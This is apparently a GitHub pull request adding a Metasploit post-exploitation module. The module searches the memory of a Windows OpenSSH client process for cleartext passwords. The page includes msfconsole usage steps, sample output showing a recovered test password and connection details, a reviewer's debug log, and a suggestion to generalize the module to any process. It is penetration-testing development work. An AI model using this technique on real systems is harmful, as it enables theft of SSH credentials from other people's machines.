Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add OpenSSH password search module for Windows #18597

Closed

Conversation

sjanusz-r7
Copy link
Contributor

@sjanusz-r7 sjanusz-r7 commented Dec 5, 2023

This PR adds a module that can be used to extract passwords from active OpenSSH connections on Windows where a password has been used. Private keys do not seem to be getting leaked in the same way, if at all. The affected version was OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023, with 9.5 not being affected.

This PR depends on changes made here: rapid7/metasploit-payloads#686

Similar to Mettle's memory search implementation, you can modify the needle and PID to search other programs for potentially sensitive information being stored near needles.

Verification

  1. Start msfconsole
  2. Get a Meterpreter session
  3. Do: use post/windows/gather/openssh_password_search
  4. Do: set SESSION <Session ID>
  5. Do: set PID <Process ID>
  6. Do: run

Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023

In this scenario, the Windows target is connected to a different host using ssh.exe using the password myverysecretpassword.

msf6 post(windows/gather/openssh_password_search) > sessions
Active sessions
===============
  Id  Name  Type                     Information                              Connection
  --  ----  ----                     -----------                              ----------
  1         meterpreter x64/windows  DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB  192.168.112.1:4444 -> 192.168.112.129:59376 (192.168.112.129)
  
msf6 post(windows/gather/openssh_password_search) > run pid=8780 session=-1
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Memory Matches for OpenSSH
==========================
 Match Address       Match Length  Match Buffer                                                                                                      Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                                      -------------------  ------------------
 0x0000000A00060EE0  127           "publickey,password......3.......myverysecretpassword....................#.........#.....................#......  0x0000000A00000000   0x0000000000090000
                                   .client-session."
[*] Post module execution completed

Getting Connection Info

You can also see what the username and potentially the private key used to connect is. In the below examples, I've used a user called putty-memsearch-test with a private key present on the target machine's desktop.

Connecting with username + password

msf6 post(windows/gather/openssh_password_search) > run regex="ssh\.exe .*"

[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Memory Matches for OpenSSH
==========================

 Match Address       Match Length  Match Buffer                                                                                                      Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                                      -------------------  ------------------
 0x000000000075311F  127           "ssh.exe.putty-memsearch-test@192.168.112.132.............g.....................................................  0x0000000000750000   0x0000000000032000
                                   ................"

[*] Post module execution completed

Connecting with username + private key

msf6 post(windows/gather/openssh_password_search) > run regex="ssh\.exe .*" pid=9084

[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Memory Matches for OpenSSH
==========================

 Match Address       Match Length  Match Buffer                                                                                                      Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                                      -------------------  ------------------
 0x00000000007B316F  127           "ssh.exe.-i./c/Users/win10/Desktop/putty-memsearch.putty-memsearch-test@192.168.112.132....g...3................  0x00000000007B0000   0x0000000000038000
                                   ................"

[*] Post module execution completed

)
)
register_options([
OptInt.new('PID', [true, 'Process ID of OpenSSH to search through', nil]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Couldn't this be automatically set?

@sjanusz-r7 sjanusz-r7 force-pushed the add-windows-openssh-password-search branch from e5cf39b to 2b770a7 Compare December 8, 2023 18:26
@sjanusz-r7 sjanusz-r7 force-pushed the add-windows-openssh-password-search branch from 2b770a7 to 176e2a2 Compare January 4, 2024 18:01
@sjanusz-r7 sjanusz-r7 marked this pull request as ready for review January 4, 2024 18:01
@adfoster-r7
Copy link
Contributor

This seems to hang indefinitely for me; logs:

[0568] [COMMAND EXEC] Attempting to locate extension command 1119 (00000000005263A0)
[0568] [DISPATCH] Executing in thread: 1119
[0568] [DISPATCH] created command_process_thread 0x00512F50, handle=0x0000030C
[0568] [DISPATCH] command_process result: continue
[031c] [COMMAND] executing in thread 0000000000512F50
[031c] [COMMAND] About to execute inline -> Command: 000000000051E8A0
[031c] [COMMAND] Executing command 1119
[031c] [PKT FIND] Looking for type 0
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 0
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 0
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 0
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 0
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133724
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 0
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133724
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131083
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 0
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133724
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131083
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] Reached end of packet buffer
[031c] [DISPATCH] Packet type for 1119 is 0
[031c] [DISPATCH] executing request handler 1119
[031c] [PKT FIND] Looking for type 131073
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 65538
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] Found!
[031c] [MEM SEARCH] Getting PID
[031c] [PKT FIND] Looking for type 133372
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] Found!
[031c] [MEM SEARCH] Searching PID: 5632
[031c] [PKT FIND] Looking for type 68186
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] Found!
[031c] [MEM SEARCH] Compiling needle regex from TLV
[031c] [PKT FIND] Looking for type 68186
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] wrong index, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133724
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131083
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] Reached end of packet buffer
[031c] [MEM SEARCH] Getting Match Lengths
[031c] [PKT FIND] Looking for type 131083
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133724
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131083
[031c] [PKT FIND] Found!
[031c] [PKT FIND] Looking for type 133724
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 131073
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 41
[031c] [PKT FIND] TLV header type: 65538
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133372
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 29
[031c] [PKT FIND] TLV header type: 68186
[031c] [PKT FIND] Types don't match, skipping.
[031c] [PKT FIND] TLV header length: 12
[031c] [PKT FIND] TLV header type: 133724
[031c] [PKT FIND] Found!
[031c] [MEM SEARCH] Getting handles & proc addresses
[031c] [MEM SEARCH] Opening process
[031c] [MEM SEARCH] Allocating buffer for storing process memory
[031c] [MEM SEARCH] Leftover Bytes count: 4096
[031c] [MEM SEARCH] Bytes to read: 4096
[031c] [MEM SEARCH] Read 4096 bytes

Eventually the Meterpreter call gets marked as timed out on msfconsole, but then the process seems to spin endlessly behind the scenes still

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Jan 15, 2024

After retesting, it looks like the previous bug is fixed in 2.0.164 now 👍

I ran into another issue were I psexec'd a 32 bit meterpreter, and tried to dump ssh.exe - but I wasn't able to. I think this is might just be normal windows behavior, and we might not be able to tell the user that this has happened - but it'd be good if we could do something better there.

We were thinking that this functionality is pretty dope, and isn't limited to just openssh.exe - so maybe having a more generic module that's easily configurable would be better:

  • Folk can specify a process name glob (i.e. ssh.exe or note*) instead of manually specifying pids
  • The guts of the module would work on *nix meterpreters via Mettle having this memory search support already
  • As far as naming goes (always the hard bit); we could rename the existing windows memory_dump module to process_dump ? This might belong in multi, but for now it's known to only work in Meterpreter session types - so potentially we should just have dedicated modules that just bring in a single mixin that defines the entire module

Maybe to remove the boilerplate:

class MemorySearchModule
  # or maybe platforms could be passed in instead of the `update_info` pattern :shrug: 
  def initialize_memory_search_module(info = {}) # /*, platforms: [] */)
     # ....

     register_options([

     ])

     info
  end
end

class MetasploitModule
 include MemorySearchModule

  def initialize(options)
    super(
      update_info(
        initialize_memory_search_module(options) # /*, platforms: [...] */),
        # ...
        'Platform' => ['...'],
      )
    )
  end
end

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants